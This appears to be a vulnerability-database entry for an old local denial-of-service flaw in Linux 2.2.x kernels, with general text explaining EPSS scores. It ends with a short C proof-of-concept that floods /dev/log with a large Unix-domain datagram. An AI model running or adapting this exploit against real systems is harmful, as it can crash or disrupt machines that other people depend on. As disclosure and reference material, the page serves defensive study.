CVE Descriptions

The Linux 2.2.x kernel does not restrict the number of Unix domain sockets as defined by the wmem_max parameter, which allows local users to cause a denial of service by requesting a large number of sockets.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/1072/info A denial of service exists in Linux kernels, as related to Unix domain sockets ignoring limits as set in /proc/sys/net/core/wmem_max. By creating successive Unix domain sockets, it is possible to cause a denial of service in some versions of the Linux kernel. Versions 2.2.12, 2.2.14, and 2.3.99-pre2 have all been confirmed as being vulnerable. Previous kernel versions are most likely vulnerable. */ #include <sys/types.h> #include <sys/socket.h> #include <string.h> char buf[128 * 1024]; int main ( int argc, char **argv ) { struct sockaddr SyslogAddr; int LogFile; int bufsize = sizeof(buf)-5; int i; for ( i = 0; i < bufsize; i++ ) buf[i] = ' '+(i%95); buf[i] = '\0'; SyslogAddr.sa_family = AF_UNIX; strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) ); LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); return 0; }
